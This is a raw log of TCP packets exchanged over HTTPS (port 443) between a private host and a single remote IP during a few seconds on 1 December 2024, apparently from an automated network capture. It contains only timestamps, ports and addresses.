Dec 1, 2024 03:33:27.857405901 CET	443	49946	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:27.857460022 CET	49946	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.857511044 CET	49946	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.857521057 CET	443	49946	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:27.857533932 CET	49946	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.857538939 CET	443	49946	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:27.868864059 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.868885994 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:27.868953943 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.870245934 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:27.870255947 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.136964083 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.179749012 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.318382025 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.318393946 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.320791960 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.320796967 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.645179033 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.648653030 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.648703098 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.648762941 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.648777008 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.648787022 CET	49953	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.648792982 CET	443	49953	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.651834011 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.651853085 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:28.651911974 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.652122021 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:28.652132034 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.346879005 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.366600037 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.366625071 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.368558884 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.368565083 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.509342909 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.509809017 CET	49960	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.509830952 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.510262012 CET	49960	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.510268927 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.585840940 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.586894035 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.586913109 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.587152958 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.587158918 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.799990892 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.800117016 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.800415039 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.800415039 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.800415039 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.803086996 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.803113937 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.803188086 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.803339958 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.803358078 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.944083929 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.946995974 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.949908018 CET	49960	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952270985 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952270985 CET	49960	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952270985 CET	49960	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952301979 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.952316046 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.952323914 CET	443	49960	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:29.952416897 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952543974 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:29.952559948 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.024249077 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.027404070 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.030005932 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.030005932 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.030005932 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.033015966 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.033045053 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.033118010 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.033272028 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.033291101 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.110016108 CET	49955	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.110029936 CET	443	49955	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.344372034 CET	49962	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.344408989 CET	443	49962	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.367572069 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.368128061 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.368151903 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.368580103 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.368587017 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.802972078 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.806180954 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.806241035 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.808727980 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.808748007 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.808788061 CET	49963	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.808798075 CET	443	49963	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.815391064 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.815438032 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:30.815496922 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.815851927 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:30.815865040 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.583458900 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.584192991 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.584229946 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.584865093 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.584876060 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.733201027 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.733721018 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.733741045 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.734124899 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.734131098 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.746412992 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.746834040 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.746865034 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:31.747234106 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:31.747241974 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.026864052 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.030395031 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.030550957 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.030550957 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.030550957 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.033391953 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.033426046 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.033489943 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.033615112 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.033627987 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.177335024 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.180670023 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.180721998 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.180829048 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.180829048 CET	49969	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.180846930 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.180856943 CET	443	49969	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.181437016 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.183629990 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.183660984 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.183826923 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.183999062 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.184014082 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.184533119 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.184587002 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.184623003 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.184640884 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.184657097 CET	49970	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.184663057 CET	443	49970	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.186852932 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.186886072 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.187004089 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.187769890 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.187786102 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.344127893 CET	49968	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.344142914 CET	443	49968	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.595628977 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.596313953 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.596338987 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:32.596818924 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:32.596826077 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.039141893 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.042615891 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.042664051 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.042678118 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.042732000 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.042783022 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.042795897 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.042809963 CET	49973	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.042814970 CET	443	49973	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.045337915 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.045376062 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.045447111 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.045627117 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.045641899 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.749644041 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.753287077 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.753304005 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.753784895 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.753789902 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.901734114 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.904366016 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.904381990 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:33.904877901 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:33.904882908 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.030040979 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.031474113 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.031491995 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.032066107 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.032073021 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.184194088 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.187459946 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.187539101 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.187577963 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.187596083 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.187608004 CET	49980	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.187614918 CET	443	49980	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.190152884 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.190171957 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.190268040 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.190428972 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.190435886 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.336420059 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.339476109 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.339565992 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.339607954 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.339607954 CET	49983	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.339627981 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.339647055 CET	443	49983	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.342360973 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.342386961 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.342470884 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.342663050 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.342677116 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.486670017 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.489869118 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.489979982 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.490032911 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.490034103 CET	49982	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.490056038 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.490066051 CET	443	49982	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.493047953 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.493092060 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.493220091 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.493421078 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.493436098 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.824609995 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.825100899 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.825114965 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:34.825571060 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:34.825577021 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278415918 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278434992 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278516054 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.278534889 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278778076 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.278778076 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.278789997 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278945923 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.278976917 CET	443	49986	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.279062986 CET	49986	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.281258106 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.281282902 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.281349897 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.281513929 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:35.281527996 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.907109976 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:35.950627089 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.027208090 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.027228117 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.036556959 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.036565065 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.186496019 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.186994076 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.187017918 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.187495947 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.187501907 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.272232056 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.273083925 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.273116112 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.273334980 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.273343086 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.355098963 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.357414961 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.357464075 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.357467890 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.357525110 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.357604027 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.357619047 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.357631922 CET	49991	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.357637882 CET	443	49991	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.360698938 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.360723972 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.360810041 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.361110926 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.361134052 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.641206026 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.644335032 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.644388914 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.644428968 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.644601107 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.644601107 CET	49992	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.644615889 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.644627094 CET	443	49992	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.647337914 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.647357941 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.647423029 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.647640944 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.647646904 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.716542006 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.719765902 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.719836950 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.720272064 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.720272064 CET	49993	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.720285892 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.720295906 CET	443	49993	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.724788904 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.724817038 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:36.724891901 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.725147009 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:36.725161076 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.124281883 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.124756098 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.124788046 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.125355005 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.125361919 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.577157021 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.580825090 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.580871105 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.580979109 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.580979109 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.580979109 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.583813906 CET	49994	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.583827019 CET	443	49994	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.583842993 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.583863974 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:37.583937883 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.584091902 CET	50004	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:37.584105015 CET	443	50004	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.141464949 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.141984940 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.142013073 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.142465115 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.142472982 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.430825949 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.433958054 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.433984995 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.434398890 CET	50002	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.434425116 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.508790970 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.513127089 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.513154984 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.516913891 CET	50003	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.516923904 CET	443	50003	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.586555004 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.589679003 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.589755058 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.590612888 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.590612888 CET	50000	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.590632915 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.590646982 CET	443	50000	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.612806082 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.612819910 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.612878084 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.613112926 CET	50007	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:38.613120079 CET	443	50007	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.874455929 CET	443	50002	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:38.874479055 CET	443	50002	13.107.246.63	192.168.2.7
